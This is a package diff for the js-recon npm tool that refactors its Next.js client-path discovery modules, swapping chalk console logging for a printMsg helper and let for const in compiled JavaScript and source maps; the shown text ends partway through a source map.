@js-recon/js-recon 1.4.4 → 2.0.1-alpha.1

package/build/endpoints/next_js/client_jsonParse.js.map

@@ -1 +1 @@
-{"version":3,"file":"client_jsonParse.js","sourceRoot":"","sources":["../../../src/endpoints/next_js/client_jsonParse.ts"],"names":[],"mappings":"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"}
+{"version":3,"file":"client_jsonParse.js","sourceRoot":"","sources":["../../../src/endpoints/next_js/client_jsonParse.ts"],"names":[],"mappings":"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"}

package/build/endpoints/next_js/client_mappedJsonFile.js

@@ -8,11 +8,11 @@ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, ge
     });
 };
 var _a;
-import chalk from "chalk";
 import fs from "fs";
 import parser from "@babel/parser";
 import _traverse from "@babel/traverse";
 const traverse = ((_a = _traverse.default) !== null && _a !== void 0 ? _a : _traverse);
+import { printMsg, MSG } from "../../utility/printMsg.js";
 /**
  * Checks for client-side paths in a mapped JSON file.
  *
@@ -20,11 +20,11 @@ const traverse = ((_a = _traverse.default) !== null && _a !== void 0 ? _a : _tra
  * @returns {Promise<string[]>} - A promise that resolves to an array of client-side paths
  */
 const client_mappedJsonFile = (filePath) => __awaiter(void 0, void 0, void 0, function* () {
-    console.log(chalk.cyan("[i] Checking for client-side paths from mapped JSON file"));
+    printMsg(MSG.Header, "[i] Checking for client-side paths from mapped JSON file");
     // open the file and load the chunks
     const chunks = JSON.parse(fs.readFileSync(filePath, "utf-8"));
-    let chunksCopy = chunks;
-    let foundPaths = [];
+    const chunksCopy = chunks;
+    const foundPaths = [];
     // iterate over the chunks
     for (const [key, value] of Object.entries(chunks)) {
         // see if the chunk code string contains window.__NEXT_P string
@@ -38,7 +38,7 @@ const client_mappedJsonFile = (filePath) => __awaiter(void 0, void 0, void 0, fu
                 });
             }
             catch (err) {
-                console.error(chalk.red(`[!] Failed to parse chunk ${key}: ${err}`));
+                printMsg(MSG.Err, `[!] Failed to parse chunk ${key}: ${err}`);
                 continue;
             }
             traverse(ast, {
@@ -77,7 +77,7 @@ const client_mappedJsonFile = (filePath) => __awaiter(void 0, void 0, void 0, fu
                                             if (firstArg.elements.length > 0) {
                                                 const element = firstArg.elements[0];
                                                 if (element.type === "StringLiteral") {
-                                                    console.log(chalk.green(`[+] Found client-side path: ${element.value}`));
+                                                    printMsg(MSG.Run, `[+] Found client-side path: ${element.value}`);
                                                     if (chunksCopy[key].description === "none") {
                                                         chunksCopy[key].description =
                                                             "Client-side path definition: " + element.value;

package/build/endpoints/next_js/client_mappedJsonFile.js.map

@@ -1 +1 @@
-{"version":3,"file":"client_mappedJsonFile.js","sourceRoot":"","sources":["../../../src/endpoints/next_js/client_mappedJsonFile.ts"],"names":[],"mappings":"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"}
+{"version":3,"file":"client_mappedJsonFile.js","sourceRoot":"","sources":["../../../src/endpoints/next_js/client_mappedJsonFile.ts"],"names":[],"mappings":"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"}

package/build/endpoints/next_js/client_subsequentRequests.js

@@ -8,14 +8,14 @@ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, ge
     });
 };
 var _a;
-import chalk from "chalk";
 import fs from "fs";
 import path from "path";
 import parser from "@babel/parser";
 import _traverse from "@babel/traverse";
 import makeRequest from "../../utility/makeReq.js";
+import { printMsg, MSG } from "../../utility/printMsg.js";
 const traverse = ((_a = _traverse.default) !== null && _a !== void 0 ? _a : _traverse);
-let toReturn = [];
+const toReturn = [];
 /**
  * Checks for client-side paths in a file and appends discovered paths to the module-scoped `toReturn` array.
  *
@@ -58,7 +58,7 @@ const checkHref = (files, url) => __awaiter(void 0, void 0, void 0, function* ()
                     continue;
                 }
                 // traverse the ast, and find the objects with href, and external
-                let finds = [];
+                const finds = [];
                 traverse(ast, {
                     ObjectExpression(path) {
                         const properties = path.node.properties;
@@ -189,11 +189,11 @@ const checkSlug = (files, url) => __awaiter(void 0, void 0, void 0, function* ()
 });
 const client_subsequentRequests = (subsequentRequestsDir, url) => __awaiter(void 0, void 0, void 0, function* () {
     //   let report = `## Subsequent Requests\n`;
-    console.log(chalk.cyan("[i] Using subsequent requests file method"));
+    printMsg(MSG.Header, "[i] Using subsequent requests file method");
     // get all the files in the directory
     const walkSync = (dir, files = []) => {
         fs.readdirSync(dir).forEach((file) => {
-            let dirFile = path.join(dir, file);
+            const dirFile = path.join(dir, file);
             if (fs.statSync(dirFile).isDirectory()) {
                 walkSync(dirFile, files);
             }

package/build/endpoints/next_js/client_subsequentRequests.js.map

@@ -1 +1 @@
-{"version":3,"file":"client_subsequentRequests.js","sourceRoot":"","sources":["../../../src/endpoints/next_js/client_subsequentRequests.ts"],"names":[],"mappings":";;;;;;;;;;AAAA,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,EAAE,MAAM,IAAI,CAAC;AACpB,OAAO,IAAI,MAAM,MAAM,CAAC;AACxB,OAAO,MAAM,MAAM,eAAe,CAAC;AACnC,OAAO,SAAS,MAAM,iBAAiB,CAAC;AACxC,OAAO,WAAW,MAAM,0BAA0B,CAAC;AACnD,MAAM,QAAQ,GAAG,CAAC,MAAA,SAAS,CAAC,OAAO,mCAAI,SAAS,CAA6B,CAAC;AAE9E,IAAI,QAAQ,GAAG,EAAE,CAAC;AAElB;;;;;;GAMG;AACH,MAAM,SAAS,GAAG,CAAO,KAAK,EAAE,GAAG,EAAE,EAAE;IACnC,uCAAuC;IACvC,KAAK,MAAM,IAAI,IAAI,KAAK,EAAE,CAAC;QACvB,MAAM,OAAO,GAAG,EAAE,CAAC,YAAY,CAAC,IAAI,EAAE,OAAO,CAAC,CAAC;QAE/C,uBAAuB;QACvB,MAAM,KAAK,GAAG,OAAO,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC;QAClC,KAAK,MAAM,IAAI,IAAI,KAAK,EAAE,CAAC;YACvB,wEAAwE;YACxE,IAAI,IAAI,CAAC,KAAK,CAAC,kBAAkB,CAAC,EAAE,CAAC;gBACjC,4BAA4B;gBAC5B,SAAS;gBACT,8EAA8E;YAClF,CAAC;iBAAM,IAAI,IAAI,CAAC,KAAK,CAAC,iBAAiB,CAAC,EAAE,CAAC;gBACvC,4CAA4C;gBAC5C,IAAI,MAAM,CAAC;gBACX,IAAI,CAAC;oBACD,MAAM,GAAG,IAAI,IAAI,CAAC,KAAK,CAAC,UAAU,CAAC,CAAC,CAAC,CAAC,GAAG,CAAC;gBAC9C,CAAC;gBAAC,OAAO,GAAG,EAAE,CAAC;oBACX,SAAS;gBACb,CAAC;gBAED,yBAAyB;gBACzB,IAAI,GAAG,CAAC;gBACR,IAAI,CAAC;oBACD,GAAG,GAAG,MAAM,CAAC,KAAK,CAAC,MAAM,EAAE;wBACvB,UAAU,EAAE,aAAa;wBACzB,OAAO,EAAE,CAAC,KAAK,EAAE,YAAY,CAAC;wBAC9B,aAAa,EAAE,IAAI;qBACtB,CAAC,CAAC;gBACP,CAAC;gBAAC,OAAO,GAAG,EAAE,CAAC;oBACX,SAAS;gBACb,CAAC;gBAED,iEAAiE;gBACjE,IAAI,KAAK,GAAU,EAAE,CAAC;gBACtB,QAAQ,CAAC,GAAG,EAAE;oBACV,gBAAgB,CAAC,IAAI;wBACjB,MAAM,UAAU,GAAG,IAAI,CAAC,IAAI,CAAC,UAAU,CAAC;wBACxC,IAAI,YAAY,GAAG,KAAK,CAAC;wBACzB,IAAI,WAAW,GAAG,KAAK,CAAC;wBACxB,IAAI,WAAW,GAAG,KAAK,CAAC;wBACxB,IAAI,SAAS,GAAG,IAAI,CAAC;wBACrB,IAAI,aAAa,GAAG,IAAI,CAAC;wBAEzB,KAAK,MAAM,IAAI,IAAI,UAAU,EAAE,CAAC;4BAC5B,IAAI,IAAI,CAAC,IAAI,KAAK,eAAe;gCAAE,SAAS;4BAC5C,MAAM,SAAS,GAAG,MAAM,CAAC,SAAS,CAAC,IAAI,CAAC,GAAG,CAAC,KAAK,EAAE,IAAI,CAAC,GAAG,CAAC,GAAG,CAAC,CAAC;4BACjE,IAAI,SAAS,KAAK,QAAQ,EAAE,CAAC;gCACzB,YAAY,GAAG,IAAI,CAAC;gCACpB,IAAI,IAAI,CAAC,IAAI,KAAK,gBAAgB,EAAE,CAAC;oCACjC,SAAS,GAAG,MAAM;yCACb,SAAS,CAAC,IAAI,CAAC,KAAK,CAAC,KAAK,EAAE,IAAI,CAAC,KAAK,CAAC,GAAG,CAAC;yCAC3C,OAAO,CAAC,QAAQ,EAAE,EAAE,